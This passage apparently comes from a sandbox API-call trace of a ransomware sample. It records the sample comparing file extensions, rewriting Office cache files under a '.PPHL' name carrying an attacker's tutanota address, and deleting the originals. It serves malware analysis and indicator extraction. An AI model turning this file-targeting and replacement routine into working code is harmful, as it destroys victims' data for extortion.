(lpString1=".7z", lpString2="BAK") returned -1 [0058.638] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0058.638] lstrlenW (lpString=".dbf") returned 4 [0058.638] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1 [0058.638] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0058.638] lstrlenW (lpString=".1cd") returned 4 [0058.638] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1 [0058.638] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0058.638] lstrlenW (lpString=".jpg") returned 4 [0058.638] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1 [0058.638] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0058.638] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0058.638] lstrlenW (lpString=".doc") returned 4 [0058.638] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1 [0058.638] lstrlenW (lpString=".docx") returned 5 [0058.638] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1 [0058.638] lstrlenW (lpString=".pdf") returned 4 [0058.638] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1 [0058.638] lstrlenW (lpString=".xls") returned 4 [0058.638] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1 [0058.638] lstrlenW (lpString=".xlsx") returned 5 [0058.638] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1 [0058.638] lstrlenW (lpString=".ppt") returned 4 [0058.638] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1 [0058.638] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0058.638] lstrlenW (lpString=".zip") returned 4 [0058.639] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1 [0058.639] lstrlenW (lpString=".rar") returned 4 [0058.639] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1 [0058.639] lstrlenW (lpString=".bz2") returned 4 [0058.639] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1 [0058.639] lstrlenW (lpString=".7z") returned 3 [0058.639] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1 [0058.639] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0058.639] lstrlenW (lpString=".dbf") returned 4 [0058.639] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1 [0058.639] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0058.639] lstrlenW (lpString=".1cd") returned 4 [0058.639] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1 [0058.639] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0058.639] lstrlenW (lpString=".jpg") returned 4 [0058.639] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1 [0058.639] Sleep (dwMilliseconds=0x64) [0059.866] lstrcmpiW (lpString1=".xml", lpString2=".PPHL") returned 1 [0059.876] lstrlenW (lpString="Setup.xml") returned 9 [0059.876] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0059.888] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2b7ff1c | out: lpFileSize=0x2b7ff1c*=1886) returned 1 [0059.901] CloseHandle (hObject=0x198) returned 1 [0059.901] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0059.901] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0059.901] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0059.901] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.901] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.901] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0059.902] GetLastError () returned 0x0 [0059.902] ReadFile (in: hFile=0x198, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x75e, lpOverlapped=0x0) returned 1 [0059.903] WriteFile (in: hFile=0x190, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0x760, lpOverlapped=0x0) returned 1 [0059.904] ReadFile (in: hFile=0x198, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x0, lpOverlapped=0x0) returned 1 [0059.904] WriteFile (in: hFile=0x190, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0059.905] SetEndOfFile (hFile=0x190) returned 1 [0059.905] CloseHandle (hObject=0x190) returned 1 [0059.905] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.905] SetEndOfFile (hFile=0x198) returned 1 [0059.906] CloseHandle (hObject=0x198) returned 1 [0059.906] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0059.907] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0059.907] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0059.907] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0059.907] lstrlenW (lpString=".doc") returned 4 [0059.907] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0059.907] lstrlenW (lpString=".docx") returned 5 [0059.907] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0059.907] lstrlenW (lpString=".pdf") returned 4 [0059.907] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0059.907] lstrlenW (lpString=".xls") returned 4 [0059.907] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0059.907] lstrlenW (lpString=".xlsx") returned 5 [0059.907] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0059.907] lstrlenW (lpString=".ppt") returned 4 [0059.907] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0059.907] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0059.907] lstrlenW (lpString=".zip") returned 4 [0059.907] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0059.907] lstrlenW (lpString=".rar") returned 4 [0059.907] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0059.907] lstrlenW (lpString=".bz2") returned 4 [0059.907] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0059.907] lstrlenW (lpString=".7z") returned 3 [0059.907] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0059.907] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0059.907] lstrlenW (lpString=".dbf") returned 4 [0059.907] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0059.908] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0059.908] lstrlenW (lpString=".1cd") returned 4 [0059.908] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0059.908] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0059.908] lstrlenW (lpString=".jpg") returned 4 [0059.908] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0059.908] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0059.908] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0059.908] lstrlenW (lpString=".doc") returned 4 [0059.908] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0059.908] lstrlenW (lpString=".docx") returned 5 [0059.908] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0059.908] lstrlenW (lpString=".pdf") returned 4 [0059.908] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0059.908] lstrlenW (lpString=".xls") returned 4 [0059.908] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0059.908] lstrlenW (lpString=".xlsx") returned 5 [0059.908] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0059.908] lstrlenW (lpString=".ppt") returned 4 [0059.908] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0059.908] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0059.908] lstrlenW (lpString=".zip") returned 4 [0059.908] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0059.908] lstrlenW (lpString=".rar") returned 4 [0059.908] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0059.908] lstrlenW (lpString=".bz2") returned 4 [0059.908] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0059.908] lstrlenW (lpString=".7z") returned 3 [0059.908] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0059.908] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0059.908] lstrlenW (lpString=".dbf") returned 4 [0059.908] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0059.908] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0059.909] lstrlenW (lpString=".1cd") returned 4 [0059.909] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0059.909] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0059.909] lstrlenW (lpString=".jpg") returned 4 [0059.909] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0059.909] lstrcmpiW (lpString1=".xml", lpString2=".PPHL") returned 1 [0059.909] lstrlenW (lpString="OutlookMUI.xml") returned 14 [0059.909] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0059.910] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2b7ff1c | out: lpFileSize=0x2b7ff1c*=3186) returned 1 [0059.910] CloseHandle (hObject=0x198) returned 1 [0059.910] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml")) returned 0x2020 [0059.910] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0059.910] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0059.910] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.910] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.910] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0059.911] GetLastError () returned 0x0 [0059.911] ReadFile (in: hFile=0x198, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0xc72, lpOverlapped=0x0) returned 1 [0059.916] WriteFile (in: hFile=0x190, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0xc80, lpOverlapped=0x0) returned 1 [0059.917] ReadFile (in: hFile=0x198, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x0, lpOverlapped=0x0) returned 1 [0059.917] WriteFile (in: hFile=0x190, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0059.917] SetEndOfFile (hFile=0x190) returned 1 [0059.917] CloseHandle (hObject=0x190) returned 1 [0059.928] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.928] SetEndOfFile (hFile=0x198) returned 1 [0059.929] CloseHandle (hObject=0x198) returned 1 [0059.929] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0059.929] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml")) returned 1 [0059.929] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0059.929] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0059.929] lstrlenW (lpString=".doc") returned 4 [0059.929] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0059.929] lstrlenW (lpString=".docx") returned 5 [0059.929] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0059.930] lstrlenW (lpString=".pdf") returned 4 [0059.930] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0059.930] lstrlenW (lpString=".xls") returned 4 [0059.930] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0059.930] lstrlenW (lpString=".xlsx") returned 5 [0059.930] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0059.930] lstrlenW (lpString=".ppt") returned 4 [0059.930] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0059.930] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0059.930] lstrlenW (lpString=".zip") returned 4 [0059.930] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0059.930] lstrlenW (lpString=".rar") returned 4 [0059.930] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0059.930] lstrlenW (lpString=".bz2") returned 4 [0059.930] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0059.930] lstrlenW (lpString=".7z") returned 3 [0059.930] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0059.930] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0059.930] lstrlenW (lpString=".dbf") returned 4 [0059.930] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0059.930] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0059.930] lstrlenW (lpString=".1cd") returned 4 [0059.930] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0059.930] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0059.930] lstrlenW (lpString=".jpg") returned 4 [0059.930] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0059.930] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0059.930] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0059.930] lstrlenW (lpString=".doc") returned 4 [0059.930] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0059.930] lstrlenW (lpString=".docx") returned 5 [0059.930] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0059.930] lstrlenW (lpString=".pdf") returned 4 [0059.930] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0059.931] lstrlenW (lpString=".xls") returned 4 [0059.931] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0059.931] lstrlenW (lpString=".xlsx") returned 5 [0059.931] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0059.931] lstrlenW (lpString=".ppt") returned 4 [0059.931] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0059.931] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0059.931] lstrlenW (lpString=".zip") returned 4 [0059.931] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0059.931] lstrlenW (lpString=".rar") returned 4 [0059.931] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0059.931] lstrlenW (lpString=".bz2") returned 4 [0059.931] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0059.931] lstrlenW (lpString=".7z") returned 3 [0059.931] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0059.931] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0059.931] lstrlenW (lpString=".dbf") returned 4 [0059.931] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0059.931] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0059.931] lstrlenW (lpString=".1cd") returned 4 [0059.931] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0059.931] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0059.931] lstrlenW (lpString=".jpg") returned 4 [0059.931] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0059.931] lstrcmpiW (lpString1=".xml", lpString2=".PPHL") returned 1 [0059.931] lstrlenW (lpString="Setup.xml") returned 9 [0059.931] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0059.932] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2b7ff1c | out: lpFileSize=0x2b7ff1c*=4207) returned 1 [0059.932] CloseHandle (hObject=0x198) returned 1 [0059.932] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0059.932] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0059.932] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0059.932] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.932] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.932] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0059.933] GetLastError () returned 0x0 [0059.933] ReadFile (in: hFile=0x198, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x106f, lpOverlapped=0x0) returned 1 [0059.935] WriteFile (in: hFile=0x190, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0x1070, lpOverlapped=0x0) returned 1 [0059.936] ReadFile (in: hFile=0x198, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x0, lpOverlapped=0x0) returned 1 [0059.936] WriteFile (in: hFile=0x190, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0059.937] SetEndOfFile (hFile=0x190) returned 1 [0059.937] CloseHandle (hObject=0x190) returned 1 [0059.938] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.938] SetEndOfFile (hFile=0x198) returned 1 [0059.938] CloseHandle (hObject=0x198) returned 1 [0059.939] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0059.939] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0059.939] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0059.939] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0059.939] lstrlenW (lpString=".doc") returned 4 [0059.939] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0059.939] lstrlenW (lpString=".docx") returned 5 [0059.939] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0059.939] lstrlenW (lpString=".pdf") returned 4 [0059.939] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0059.939] lstrlenW (lpString=".xls") returned 4 [0059.939] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0059.939] lstrlenW (lpString=".xlsx") returned 5 [0059.939] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0059.939] lstrlenW (lpString=".ppt") returned 4 [0059.939] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0059.939] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0059.939] lstrlenW (lpString=".zip") returned 4 [0059.939] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0059.939] lstrlenW (lpString=".rar") returned 4 [0059.939] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0059.939] lstrlenW (lpString=".bz2") returned 4 [0059.940] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0059.940] lstrlenW (lpString=".7z") returned 3 [0059.940] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0059.940] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0059.940] lstrlenW (lpString=".dbf") returned 4 [0059.940] 